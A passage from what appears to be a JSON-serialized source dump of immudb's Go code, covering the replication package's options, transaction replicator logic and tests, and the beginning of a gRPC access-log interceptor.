_metricsReplicationLag.WithLabelValues(dbName),\n\t}\n}\n\n// reset ensures all necessary gauges are zeroed\nfunc (m *metrics) reset() {\n\tm.replicators.Set(0)\n\tm.replicatorsActive.Set(0)\n\tm.replicatorsInRetryDelay.Set(0)\n\tm.primaryCommittedTxID.Set(0)\n\tm.allowCommitUpToTxID.Set(0)\n\tm.replicationLag.Set(0)\n}\n\n// replicationTimeHistogramTimer returns prometheus timer for replicationTimeHistogram\nfunc (m *metrics) replicationTimeHistogramTimer() *prometheus.Timer {\n\treturn prometheus.NewTimer(m.replicationTimeHistogram)\n}\n"
  },
  {
    "path": "pkg/replication/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\nimport (\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nconst (\n\tDefaultChunkSize                    int = 64 * 1024 // 64 * 1024 64 KiB\n\tDefaultPrefetchTxBufferSize         int = 100\n\tDefaultReplicationCommitConcurrency int = 10\n\tDefaultAllowTxDiscarding                = false\n\tDefaultSkipIntegrityCheck               = false\n\tDefaultWaitForIndexing                  = false\n)\n\ntype ClientFactory func(string, int) client.ImmuClient\n\ntype Options struct {\n\tprimaryDatabase string\n\tprimaryHost     string\n\tprimaryPort     int\n\tprimaryUsername string\n\tprimaryPassword string\n\n\tstreamChunkSize int\n\n\tprefetchTxBufferSize         int\n\treplicationCommitConcurrency int\n\n\tallowTxDiscarding  bool\n\tskipIntegrityCheck bool\n\twaitForIndexing    bool\n\n\tdelayer       Delayer\n\tclientFactory ClientFactory\n}\n\nfunc DefaultOptions() *Options {\n\tdelayer := &expBackoff{\n\t\tretryMinDelay: time.Second,\n\t\tretryMaxDelay: 2 * time.Minute,\n\t\tretryDelayExp: 2,\n\t\tretryJitter:   0.1,\n\t}\n\n\treturn &Options{\n\t\tdelayer:                      delayer,\n\t\tstreamChunkSize:              DefaultChunkSize,\n\t\tprefetchTxBufferSize:         DefaultPrefetchTxBufferSize,\n\t\treplicationCommitConcurrency: DefaultReplicationCommitConcurrency,\n\t\tallowTxDiscarding:            DefaultAllowTxDiscarding,\n\t\tskipIntegrityCheck:           DefaultSkipIntegrityCheck,\n\t\twaitForIndexing:              DefaultWaitForIndexing,\n\t\tclientFactory:                newClient,\n\t}\n}\n\nfunc newClient(host string, port int) client.ImmuClient {\n\topts := client.DefaultOptions().\n\t\tWithAddress(host).\n\t\tWithPort(port).\n\t\tWithDisableIdentityCheck(true)\n\n\treturn client.NewClient().WithOptions(opts)\n}\n\nfunc (opts *Options) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil options\", ErrInvalidOptions)\n\t}\n\n\tif opts.streamChunkSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid StreamChunkSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.prefetchTxBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid PrefetchTxBufferSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.replicationCommitConcurrency <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid ReplicationCommitConcurrency\", ErrInvalidOptions)\n\t}\n\n\tif opts.delayer == nil {\n\t\treturn fmt.Errorf(\"%w: invalid Delayer\", ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\n// WithPrimaryDatabase sets the source database name\nfunc (o *Options) WithPrimaryDatabase(primaryDatabase string) *Options {\n\to.primaryDatabase = primaryDatabase\n\treturn o\n}\n\n// WithPrimaryHost sets the source database address\nfunc (o *Options) WithPrimaryHost(primaryHost string) *Options {\n\to.primaryHost = primaryHost\n\treturn o\n}\n\n// WithPrimaryPort sets the source database port\nfunc (o *Options) WithPrimaryPort(primaryPort int) *Options {\n\to.primaryPort = primaryPort\n\treturn o\n}\n\n// WithPrimaryUsername sets username used for replication\nfunc (o *Options) WithPrimaryUsername(primaryUsername string) *Options {\n\to.primaryUsername = primaryUsername\n\treturn o\n}\n\n// WithPrimaryPassword sets password used for replication\nfunc (o *Options) WithPrimaryPassword(primaryPassword string) *Options {\n\to.primaryPassword = primaryPassword\n\treturn o\n}\n\n// WithStreamChunkSize sets streaming chunk size\nfunc (o *Options) WithStreamChunkSize(streamChunkSize int) *Options {\n\to.streamChunkSize = streamChunkSize\n\treturn o\n}\n\n// WithPrefetchTxBufferSize sets tx buffer size\nfunc (o *Options) WithPrefetchTxBufferSize(prefetchTxBufferSize int) *Options {\n\to.prefetchTxBufferSize = prefetchTxBufferSize\n\treturn o\n}\n\n// WithReplicationCommitConcurrency sets the number of goroutines doing replication\nfunc (o *Options) WithReplicationCommitConcurrency(replicationCommitConcurrency int) *Options {\n\to.replicationCommitConcurrency = replicationCommitConcurrency\n\treturn o\n}\n\n// WithAllowTxDiscarding enable auto discarding of precommitted transactions\nfunc (o *Options) WithAllowTxDiscarding(allowTxDiscarding bool) *Options {\n\to.allowTxDiscarding = allowTxDiscarding\n\treturn o\n}\n\n// WithSkipIntegrityCheck disable integrity checks when reading data during replication\nfunc (o *Options) WithSkipIntegrityCheck(skipIntegrityCheck bool) *Options {\n\to.skipIntegrityCheck = skipIntegrityCheck\n\treturn o\n}\n\n// WithWaitForIndexing wait for indexing to be up to date during replication\nfunc (o *Options) WithWaitForIndexing(waitForIndexing bool) *Options {\n\to.waitForIndexing = waitForIndexing\n\treturn o\n}\n\n// WithDelayer sets delayer used to pause re-attempts\nfunc (o *Options) WithDelayer(delayer Delayer) *Options {\n\to.delayer = delayer\n\treturn o\n}\n\n// WithClientFactoryFunc specifies a function to instantiate a new client\nfunc (o *Options) WithClientFactoryFunc(clientFactory func(string, int) client.ImmuClient) *Options {\n\to.clientFactory = clientFactory\n\treturn o\n}\n"
  },
  {
    "path": "pkg/replication/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOptions(t *testing.T) {\n\topts := &Options{}\n\trequire.ErrorIs(t, opts.Validate(), ErrInvalidOptions)\n\n\tdelayer := &expBackoff{\n\t\tretryMinDelay: time.Second,\n\t\tretryMaxDelay: 2 * time.Minute,\n\t\tretryDelayExp: 2,\n\t\tretryJitter:   0.1,\n\t}\n\n\topts.WithPrimaryDatabase(\"defaultdb\").\n\t\tWithPrimaryHost(\"127.0.0.1\").\n\t\tWithPrimaryPort(3322).\n\t\tWithPrimaryUsername(\"immudbUsr\").\n\t\tWithPrimaryPassword(\"immdubPwd\").\n\t\tWithStreamChunkSize(DefaultChunkSize).\n\t\tWithPrefetchTxBufferSize(DefaultPrefetchTxBufferSize).\n\t\tWithReplicationCommitConcurrency(DefaultReplicationCommitConcurrency).\n\t\tWithAllowTxDiscarding(true).\n\t\tWithSkipIntegrityCheck(true).\n\t\tWithWaitForIndexing(true).\n\t\tWithDelayer(delayer)\n\n\trequire.Equal(t, \"defaultdb\", opts.primaryDatabase)\n\trequire.Equal(t, \"127.0.0.1\", opts.primaryHost)\n\trequire.Equal(t, 3322, opts.primaryPort)\n\trequire.Equal(t, \"immudbUsr\", opts.primaryUsername)\n\trequire.Equal(t, \"immdubPwd\", opts.primaryPassword)\n\trequire.Equal(t, DefaultChunkSize, opts.streamChunkSize)\n\trequire.Equal(t, DefaultPrefetchTxBufferSize, opts.prefetchTxBufferSize)\n\trequire.Equal(t, DefaultReplicationCommitConcurrency, opts.replicationCommitConcurrency)\n\trequire.True(t, opts.allowTxDiscarding)\n\trequire.True(t, opts.skipIntegrityCheck)\n\trequire.True(t, opts.waitForIndexing)\n\trequire.Equal(t, delayer, opts.delayer)\n\n\trequire.NoError(t, opts.Validate())\n\n\tdefaultOpts := DefaultOptions()\n\trequire.NotNil(t, defaultOpts)\n\trequire.NoError(t, defaultOpts.Validate())\n}\n"
  },
  {
    "path": "pkg/replication/replicator.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/cmd/version\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/rs/xid\"\n)\n\nvar ErrIllegalArguments = errors.New(\"illegal arguments\")\nvar ErrInvalidOptions = fmt.Errorf(\"%w: invalid options\", ErrIllegalArguments)\nvar ErrAlreadyRunning = errors.New(\"already running\")\nvar ErrAlreadyStopped = errors.New(\"already stopped\")\nvar ErrReplicaDivergedFromPrimary = errors.New(\"replica diverged from primary\")\nvar ErrNoSynchronousReplicationOnPrimary = errors.New(\"primary is not running with synchronous replication\")\nvar ErrInvalidReplicationMetadata = errors.New(\"invalid replication metadata retrieved\")\nvar ErrPrimaryServerVersionMismatch = errors.New(\"primary server version does not match\")\n\ntype prefetchTxEntry struct {\n\tdata    []byte\n\taddedAt time.Time\n}\n\ntype TxReplicator struct {\n\tuuid xid.ID\n\n\tdb   database.DB\n\topts *Options\n\n\t_primaryDB string // just a string denoting primary database i.e. db@host:port\n\n\tlogger logger.Logger\n\n\tcontext    context.Context\n\tcancelFunc context.CancelFunc\n\n\tclient client.ImmuClient\n\n\tstreamSrvFactory stream.ServiceFactory\n\n\texportTxStream         schema.ImmuService_StreamExportTxClient\n\texportTxStreamReceiver stream.MsgReceiver\n\n\tlastTx uint64\n\n\tprefetchTxBuffer       chan prefetchTxEntry // buffered channel of exported txs\n\treplicationConcurrency int\n\n\tallowTxDiscarding  bool\n\tskipIntegrityCheck bool\n\twaitForIndexing    bool\n\n\tdelayer             Delayer\n\tconsecutiveFailures int\n\n\trunning bool\n\terr     error\n\n\tmutex sync.Mutex\n\n\tmetrics metrics\n}\n\nfunc NewTxReplicator(uuid xid.ID, db database.DB, opts *Options, logger logger.Logger) (*TxReplicator, error) {\n\tif db == nil || logger == nil {\n\t\treturn nil, fmt.Errorf(\"%w: no database or logger provided\", ErrIllegalArguments)\n\t}\n\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &TxReplicator{\n\t\tuuid:                   uuid,\n\t\tdb:                     db,\n\t\topts:                   opts,\n\t\tlogger:                 logger,\n\t\t_primaryDB:             fullAddress(opts.primaryDatabase, opts.primaryHost, opts.primaryPort),\n\t\tstreamSrvFactory:       stream.NewStreamServiceFactory(opts.streamChunkSize),\n\t\tprefetchTxBuffer:       make(chan prefetchTxEntry, opts.prefetchTxBufferSize),\n\t\treplicationConcurrency: opts.replicationCommitConcurrency,\n\t\tallowTxDiscarding:      opts.allowTxDiscarding,\n\t\tskipIntegrityCheck:     opts.skipIntegrityCheck,\n\t\twaitForIndexing:        opts.waitForIndexing,\n\t\tdelayer:                opts.delayer,\n\t\tmetrics:                metricsForDb(db.GetName()),\n\t}, nil\n}\n\nfunc (txr *TxReplicator) handleError(err error) (terminate bool) {\n\ttxr.mutex.Lock()\n\tdefer txr.mutex.Unlock()\n\n\tif err == nil {\n\t\ttxr.consecutiveFailures = 0\n\t\treturn false\n\t}\n\n\tif errors.Is(err, ErrAlreadyStopped) || errors.Is(err, ErrReplicaDivergedFromPrimary) || errors.Is(err, ErrPrimaryServerVersionMismatch) {\n\t\treturn true\n\t}\n\n\ttxr.consecutiveFailures++\n\n\ttxr.logger.Infof(\"Replication error on database '%s' from '%s' (%d consecutive failures). Reason: %s\",\n\t\ttxr.db.GetName(),\n\t\ttxr._primaryDB,\n\t\ttxr.consecutiveFailures,\n\t\terr.Error())\n\n\ttimer := time.NewTimer(txr.delayer.DelayAfter(txr.consecutiveFailures))\n\tdefer timer.Stop()\n\n\tselect {\n\tcase <-txr.context.Done():\n\t\ttimer.Stop()\n\t\treturn true\n\tcase <-timer.C:\n\t}\n\n\tretryableError := !strings.Contains(err.Error(), \"no session found\")\n\n\tif txr.consecutiveFailures >= 3 || !retryableError {\n\t\ttxr.disconnect()\n\t}\n\n\treturn false\n}\n\nfunc (txr *TxReplicator) Start() error {\n\ttxr.mutex.Lock()\n\tdefer txr.mutex.Unlock()\n\n\tif txr.running {\n\t\treturn ErrAlreadyRunning\n\t}\n\n\ttxr.logger.Infof(\"Initializing replication from '%s' to '%s'...\", txr._primaryDB, txr.db.GetName())\n\n\ttxr.context, txr.cancelFunc = context.WithCancel(context.Background())\n\n\ttxr.running = true\n\n\tgo txr.replicationLoop()\n\n\ttxr.metrics.reset()\n\n\tfor i := 0; i < txr.replicationConcurrency; i++ {\n\t\tgo func() {\n\t\t\ttxr.metrics.replicators.Inc()\n\t\t\tdefer txr.metrics.replicators.Dec()\n\n\t\t\tfor etx := range txr.prefetchTxBuffer {\n\t\t\t\ttxr.metrics.txWaitQueueHistogram.Observe(time.Since(etx.addedAt).Seconds())\n\n\t\t\t\tif !txr.replicateSingleTx(etx.data) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\ttxr.logger.Infof(\"Replication from '%s' to '%s' successfully initialized\", txr._primaryDB, txr.db.GetName())\n\n\treturn nil\n}\n\nfunc (txr *TxReplicator) replicationLoop() {\n\ttxr.logger.Infof(\"Replication for '%s' started fetching transaction from '%s'...\", txr.db.GetName(), txr._primaryDB)\n\n\tvar err error\n\tfor {\n\t\terr = txr.fetchNextTx()\n\t\tif txr.handleError(err) {\n\t\t\tbreak\n\t\t}\n\t}\n\n\ttxr.logger.Infof(\"Replication for '%s' stopped fetching transaction from '%s'\", txr.db.GetName(), txr._primaryDB)\n\n\tif errors.Is(err, ErrReplicaDivergedFromPrimary) || errors.Is(err, ErrPrimaryServerVersionMismatch) {\n\t\ttxr.stopWithErr(err)\n\t}\n}\n\nfunc (txr *TxReplicator) replicateSingleTx(data []byte) bool {\n\ttxr.metrics.replicatorsActive.Inc()\n\tdefer txr.metrics.replicatorsActive.Dec()\n\tdefer txr.metrics.replicationTimeHistogramTimer().ObserveDuration()\n\n\tconsecutiveFailures := 0\n\n\t// replication must be retried as many times as necessary\n\tfor {\n\t\t_, err := txr.db.ReplicateTx(txr.context, data, txr.skipIntegrityCheck, txr.waitForIndexing)\n\t\tif err == nil {\n\t\t\tbreak // transaction successfully replicated\n\t\t}\n\t\tif errors.Is(err, ErrAlreadyStopped) {\n\t\t\treturn false\n\t\t}\n\n\t\tif strings.Contains(err.Error(), \"tx already committed\") {\n\t\t\tbreak // transaction successfully replicated\n\t\t}\n\n\t\ttxr.logger.Infof(\"Failed to replicate transaction from '%s' to '%s'. Reason: %s\", txr._primaryDB, txr.db.GetName(), err.Error())\n\n\t\tconsecutiveFailures++\n\n\t\tif !txr.replicationFailureDelay(consecutiveFailures) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\nfunc (txr *TxReplicator) replicationFailureDelay(consecutiveFailures int) bool {\n\ttxr.metrics.replicationRetries.Inc()\n\n\ttxr.metrics.replicatorsInRetryDelay.Inc()\n\tdefer txr.metrics.replicatorsInRetryDelay.Dec()\n\n\ttimer := time.NewTimer(txr.delayer.DelayAfter(consecutiveFailures))\n\tdefer timer.Stop()\n\n\tselect {\n\tcase <-txr.context.Done():\n\t\ttimer.Stop()\n\t\treturn false\n\tcase <-timer.C:\n\t\treturn true\n\t}\n}\n\nfunc fullAddress(db, address string, port int) string {\n\treturn fmt.Sprintf(\"%s@%s:%d\", db, address, port)\n}\n\nfunc (txr *TxReplicator) connect() error {\n\ttxr.logger.Infof(\"Connecting to '%s':'%d' for database '%s'...\",\n\t\ttxr.opts.primaryHost,\n\t\ttxr.opts.primaryPort,\n\t\ttxr.db.GetName())\n\n\ttxr.client = txr.opts.clientFactory(txr.opts.primaryHost, txr.opts.primaryPort)\n\n\terr := txr.client.OpenSession(\n\t\ttxr.context, []byte(txr.opts.primaryUsername), []byte(txr.opts.primaryPassword), txr.opts.primaryDatabase)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tinfo, err := txr.client.ServerInfo(txr.context, &schema.ServerInfoRequest{})\n\tif err != nil {\n\t\ttxr.logger.Errorf(\"Connection to %s failed: unable to get primary server info: %v\", txr.db.GetName(), err)\n\t\treturn err\n\t}\n\tif info.Version != version.Version {\n\t\treturn ErrPrimaryServerVersionMismatch\n\t}\n\n\ttxr.logger.Infof(\"Connection to '%s':'%d' for database '%s' successfully established\",\n\t\ttxr.opts.primaryHost,\n\t\ttxr.opts.primaryPort,\n\t\ttxr.db.GetName())\n\n\ttxr.exportTxStream, err = txr.client.StreamExportTx(txr.context)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttxr.exportTxStreamReceiver = txr.streamSrvFactory.NewMsgReceiver(txr.exportTxStream)\n\n\treturn nil\n}\n\nfunc (txr *TxReplicator) disconnect() {\n\tif txr.client == nil {\n\t\treturn\n\t}\n\n\ttxr.logger.Infof(\"Disconnecting from '%s':'%d' for database '%s'...\", txr.opts.primaryHost, txr.opts.primaryPort, txr.db.GetName())\n\n\tif txr.exportTxStream != nil {\n\t\ttxr.exportTxStream.CloseSend()\n\t\ttxr.exportTxStream = nil\n\t}\n\n\ttxr.client.CloseSession(txr.context)\n\ttxr.client = nil\n\n\ttxr.logger.Infof(\"Disconnected from '%s':'%d' for database '%s'\", txr.opts.primaryHost, txr.opts.primaryPort, txr.db.GetName())\n}\n\nfunc (txr *TxReplicator) fetchNextTx() error {\n\ttxr.mutex.Lock()\n\tdefer txr.mutex.Unlock()\n\n\tif !txr.running {\n\t\treturn ErrAlreadyStopped\n\t}\n\n\tif txr.exportTxStream == nil {\n\t\terr := txr.connect()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tcommitState, err := txr.db.CurrentState()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif txr.lastTx == 0 {\n\t\ttxr.lastTx = commitState.PrecommittedTxId\n\t}\n\n\tnextTx := txr.lastTx + 1\n\n\tvar state *schema.ReplicaState\n\n\tsyncReplicationEnabled := txr.db.IsSyncReplicationEnabled()\n\tif syncReplicationEnabled {\n\t\tstate = &schema.ReplicaState{\n\t\t\tUUID:             txr.uuid.String(),\n\t\t\tCommittedTxID:    commitState.TxId,\n\t\t\tCommittedAlh:     commitState.TxHash,\n\t\t\tPrecommittedTxID: commitState.PrecommittedTxId,\n\t\t\tPrecommittedAlh:  commitState.PrecommittedTxHash,\n\t\t}\n\t}\n\n\treq := &schema.ExportTxRequest{\n\t\tTx:                 nextTx,\n\t\tReplicaState:       state,\n\t\tAllowPreCommitted:  syncReplicationEnabled,\n\t\tSkipIntegrityCheck: txr.skipIntegrityCheck,\n\t}\n\n\ttxr.exportTxStream.Send(req)\n\n\tetx, emd, err := txr.exportTxStreamReceiver.ReadFully()\n\tif err != nil {\n\t\tdefer txr.disconnect()\n\t}\n\n\ttxr.maybeUpdateReplicationLag(commitState.TxId, emd)\n\n\tif err != nil && !errors.Is(err, io.EOF) {\n\t\tif strings.Contains(err.Error(), database.ErrNoNewTransactions.Error()) {\n\t\t\ttxr.metrics.replicationLag.Set(0)\n\t\t\treturn err\n\t\t}\n\n\t\tif strings.Contains(err.Error(), \"replica commit state diverged from primary\") {\n\t\t\ttxr.logger.Errorf(\"replica commit state at '%s' diverged from primary's\", txr.db.GetName())\n\t\t\treturn ErrReplicaDivergedFromPrimary\n\t\t}\n\n\t\tif strings.Contains(err.Error(), \"replica precommit state diverged from primary\") {\n\t\t\tif !txr.allowTxDiscarding {\n\t\t\t\ttxr.logger.Errorf(\"replica precommit state at '%s' diverged from primary's\", txr.db.GetName())\n\t\t\t\treturn ErrReplicaDivergedFromPrimary\n\t\t\t}\n\n\t\t\ttxr.logger.Infof(\"discarding precommit txs since %d from '%s'. Reason: %s\", nextTx, txr.db.GetName(), err.Error())\n\n\t\t\terr = txr.db.DiscardPrecommittedTxsSince(commitState.TxId + 1)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\ttxr.lastTx = commitState.TxId\n\n\t\t\ttxr.logger.Infof(\"precommit txs successfully discarded from '%s'\", txr.db.GetName())\n\n\t\t\treturn nil\n\t\t}\n\n\t\treturn err\n\t}\n\n\tif syncReplicationEnabled {\n\t\tbMayCommitUpToTxID, ok := emd[\"may-commit-up-to-txid-bin\"]\n\t\tif !ok {\n\t\t\treturn ErrNoSynchronousReplicationOnPrimary\n\t\t}\n\n\t\tbmayCommitUpToAlh, ok := emd[\"may-commit-up-to-alh-bin\"]\n\t\tif !ok {\n\t\t\treturn ErrNoSynchronousReplicationOnPrimary\n\t\t}\n\n\t\tbCommittedTxID, ok := emd[\"committed-txid-bin\"]\n\t\tif !ok {\n\t\t\treturn ErrNoSynchronousReplicationOnPrimary\n\t\t}\n\n\t\tif len(bMayCommitUpToTxID) != 8 ||\n\t\t\tlen(bmayCommitUpToAlh) != sha256.Size ||\n\t\t\tlen(bCommittedTxID) != 8 {\n\t\t\treturn ErrInvalidReplicationMetadata\n\t\t}\n\n\t\tmayCommitUpToTxID := binary.BigEndian.Uint64(bMayCommitUpToTxID)\n\t\tcommittedTxID := binary.BigEndian.Uint64(bCommittedTxID)\n\n\t\tvar mayCommitUpToAlh [sha256.Size]byte\n\t\tcopy(mayCommitUpToAlh[:], bmayCommitUpToAlh)\n\n\t\ttxr.metrics.primaryCommittedTxID.Set(float64(committedTxID))\n\t\ttxr.metrics.allowCommitUpToTxID.Set(float64(mayCommitUpToTxID))\n\n\t\tif mayCommitUpToTxID > commitState.TxId {\n\t\t\terr = txr.db.AllowCommitUpto(mayCommitUpToTxID, mayCommitUpToAlh)\n\t\t\tif err != nil {\n\t\t\t\tif strings.Contains(err.Error(), \"replica commit state diverged from\") {\n\t\t\t\t\ttxr.logger.Errorf(\"replica commit state at '%s' diverged from primary's\", txr.db.GetName())\n\t\t\t\t\treturn ErrReplicaDivergedFromPrimary\n\t\t\t\t}\n\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(etx) > 0 {\n\t\t// in some cases the transaction is not provided but only the primary commit state\n\t\ttxr.prefetchTxBuffer <- prefetchTxEntry{\n\t\t\tdata:    etx,\n\t\t\taddedAt: time.Now(),\n\t\t}\n\t\ttxr.lastTx++\n\t}\n\treturn nil\n}\n\nfunc (txr *TxReplicator) Stop() error {\n\treturn txr.stopWithErr(nil)\n}\n\nfunc (txr *TxReplicator) stopWithErr(err error) error {\n\tif txr.cancelFunc != nil {\n\t\ttxr.cancelFunc()\n\t}\n\n\ttxr.mutex.Lock()\n\tdefer txr.mutex.Unlock()\n\n\tif !txr.running {\n\t\treturn ErrAlreadyStopped\n\t}\n\n\ttxr.logger.Infof(\"Stopping replication of database '%s'...\", txr.db.GetName())\n\n\tclose(txr.prefetchTxBuffer)\n\n\ttxr.disconnect()\n\n\ttxr.running = false\n\ttxr.err = err\n\n\ttxr.logger.Infof(\"Replication of database '%s' successfully stopped\", txr.db.GetName())\n\n\treturn nil\n}\n\nfunc (txr *TxReplicator) Error() error {\n\ttxr.mutex.Lock()\n\tdefer txr.mutex.Unlock()\n\n\treturn txr.err\n}\n\nfunc (txr *TxReplicator) maybeUpdateReplicationLag(lastCommittedTxID uint64, metadata map[string][]byte) {\n\tprimaryLastCommittedTxIDBin, ok := metadata[\"committed-txid-bin\"]\n\tif !ok {\n\t\treturn\n\t}\n\n\tlag := binary.BigEndian.Uint64(primaryLastCommittedTxIDBin) - lastCommittedTxID\n\ttxr.metrics.replicationLag.Set(float64(lag))\n}\n"
  },
  {
    "path": "pkg/replication/replicator_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage replication\n\nimport (\n\t\"context\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/rs/xid\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestReplication(t *testing.T) {\n\tpath := t.TempDir()\n\n\trOpts := DefaultOptions().\n\t\tWithPrimaryDatabase(\"defaultdb\").\n\t\tWithPrimaryHost(\"127.0.0.1\").\n\t\tWithPrimaryPort(3322).\n\t\tWithPrimaryUsername(\"immudb\").\n\t\tWithPrimaryPassword(\"immudb\").\n\t\tWithStreamChunkSize(DefaultChunkSize)\n\n\tlogger := logger.NewSimpleLogger(\"logger\", os.Stdout)\n\n\tdb, err := database.NewDB(\"replicated_defaultdb\", nil, database.DefaultOptions().AsReplica(true).WithDBRootPath(path), logger)\n\trequire.NoError(t, err)\n\n\ttxReplicator, err := NewTxReplicator(xid.New(), db, rOpts, logger)\n\trequire.NoError(t, err)\n\n\terr = txReplicator.Stop()\n\trequire.ErrorIs(t, err, ErrAlreadyStopped)\n\n\terr = txReplicator.Start()\n\trequire.NoError(t, err)\n\n\terr = txReplicator.Start()\n\trequire.ErrorIs(t, err, ErrAlreadyRunning)\n\n\terr = txReplicator.Stop()\n\trequire.NoError(t, err)\n}\n\nfunc TestReplicationIsAbortedOnServerVersionMismatch(t *testing.T) {\n\tpath := t.TempDir()\n\n\tclientMock := &immuClientMock{}\n\n\trOpts := DefaultOptions().\n\t\tWithPrimaryDatabase(\"defaultdb\").\n\t\tWithPrimaryHost(\"127.0.0.1\").\n\t\tWithPrimaryPort(3322).\n\t\tWithPrimaryUsername(\"immudb\").\n\t\tWithPrimaryPassword(\"immudb\").\n\t\tWithStreamChunkSize(DefaultChunkSize).\n\t\tWithClientFactoryFunc(func(s string, i int) client.ImmuClient {\n\t\t\treturn &immuClientMock{}\n\t\t})\n\n\tlogger := logger.NewSimpleLogger(\"logger\", os.Stdout)\n\n\tdb, err := database.NewDB(\"replicated_defaultdb\", nil, database.DefaultOptions().AsReplica(true).WithDBRootPath(path), logger)\n\trequire.NoError(t, err)\n\n\ttxReplicator, err := NewTxReplicator(xid.New(), db, rOpts, logger)\n\ttxReplicator.client = clientMock\n\trequire.NoError(t, err)\n\n\terr = txReplicator.Start()\n\trequire.NoError(t, err)\n\n\ttime.Sleep(time.Millisecond * 10) // make sure replication stopped\n\n\terr = txReplicator.Stop()\n\trequire.ErrorIs(t, err, ErrAlreadyStopped)\n\trequire.ErrorIs(t, txReplicator.Error(), ErrPrimaryServerVersionMismatch)\n}\n\ntype immuClientMock struct {\n\tclient.ImmuClient\n}\n\nfunc (c *immuClientMock) OpenSession(ctx context.Context, user []byte, pass []byte, database string) (err error) {\n\treturn nil\n}\n\nfunc (c *immuClientMock) ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) {\n\treturn &schema.ServerInfoResponse{\n\t\tVersion: \"test\",\n\t}, nil\n}\n\nfunc (c *immuClientMock) CloseSession(ctx context.Context) error {\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/server/access_log_interceptor.go",
    "content": "package server\n\nimport (\n\t\"context\"\n\t\"time\"\n\n\t\"google.golang.org/grpc\"\n)\n\nfunc (s *ImmuServer) AccessLogStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\tstart := time.Now()\n\n\terr := handler(srv, ss)\n\n\t_ = s.logAccess(ss.Context(), info.FullMethod, time.Since(start), err)\n\treturn err\n}\n\nfunc (s *ImmuServer) AccessLogInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {\n\tstart := time.Now()\n\n\tres, err := handler(ctx, req)\n\n\t_ = s.logAccess(ctx, info.FullMethod, time.Since(start), err)\n\treturn res, err\n}\n\nfunc (s *ImmuServer) logAccess(ctx context.Context, method string, rpcDuration time.Duration, rpcErr error) error {\n\tif !s.Options.LogAccess {\n\t\treturn nil\n\t}\n\n\tvar username string\n\n\t_, user, err := 